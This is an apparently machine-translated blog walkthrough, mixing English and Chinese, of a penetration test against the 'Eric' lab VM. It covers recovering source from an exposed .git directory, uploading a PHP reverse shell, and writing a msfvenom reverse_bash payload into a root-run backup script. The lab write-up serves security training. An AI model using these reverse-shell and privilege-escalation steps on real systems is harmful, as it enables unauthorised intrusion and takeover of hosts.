Eric drone penetration testing

First, operating instructions

* Operating Environment: attack aircraft kali linux

Eric drone

Running on a VirtualBox

* Network settings: are the only host mode

* Flag directory: /root/flag.txt

/home/eric/flag.txt (this is the time to download because the author has given a specific location)

Second, the process

1. Information Collection

First look at kali address, enter ifconfig in the terminal, kali address is 192.168.56.102

 

Because the drone and kali is the same network mode, then use the ip nmap scans of the same network segment, to find and open drone ip port

 

 You can see the drone ip is 192.168.56.103, and opened 80 ports and 22 ports, then we visit it in your browser

 

 Then shows the Blog under construction, shows the blog is under construction. Then look F12, had nothing found.

And then blasting it with dirBuster, dirBuster is used to detect hidden directories and files on the web server.

 

 See .git, admin.php, index.php and other documents, and then access it admin.php

 

 Discovery is a login screen, but do not know the user name and password. Try a bit weak passwords blasting, it seems does not work.

After Internet search, how other people do, I noticed there is a .git not used. Internet search, then what .git, after git clone the code, it can not directly use git, but need to initialize git, it automatically creates a directory git repository needed. These files exist in the project's .git folder. .git folder after git init file in the current directory management generated a git repository folder, this contains all things necessary for the operation git.

Tools used here is GitHack. It is a .git leak using a test script, through leaked documents, reducing the reconstruction of the source code.

After using Githack scan directories, Download https://github.com/lijiejie/GitHack, download can be run directly in python environment

 

 After the scan results are saved in a folder inside, there are admin.php, index.php two files

 

 Open admin.php look

2.文件上传,反弹shell

 找到了username和password。然后就拿来登录一下

 

这里看到可以上传文件,然后就上传一个php-reverse-shell.php,并且将里面的ip改成kali的ip,port改成要监听的端口

 

 

 然后在kali中监听6666端口,并且在浏览器中访问上传的木马

 

 

 

 

 进行su后,发现要must be run from a terminal,这里参考了一下别人的,python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

 

 

 这时候就可以去找flag

这样就找到了第一个flag了。

之后想进入根目录,奈何权限不足。

 

3.提权

在刚才eric目录下查看其他文件的,发现backup.sh具有所有权限,以root身份运行。

 

 

后面不太会,就参考别人已经写好的,先是在kali本地执行msfvenom-p cmd/unix/reverse_bash lhost=192.168.56.102 lport=4455 R

 

 将生成的payload写入到backup.sh中去

 

 再创建一个监听端口,监听4455端口,运行backup.sh脚步

 

 

 

 但不知道为什么就是不能进入根目录,所以第二个flag就没有找出来,然后这个靶机就结束了。

 

参考于:https://ainiya.xyz/2019/12/07/2019-eric-shen-tou-ce-shi-zong-jie/

    https://cloud.tencent.com/developer/article/1543832

Guess you like

Origin www.cnblogs.com/niceblogs/p/12019843.html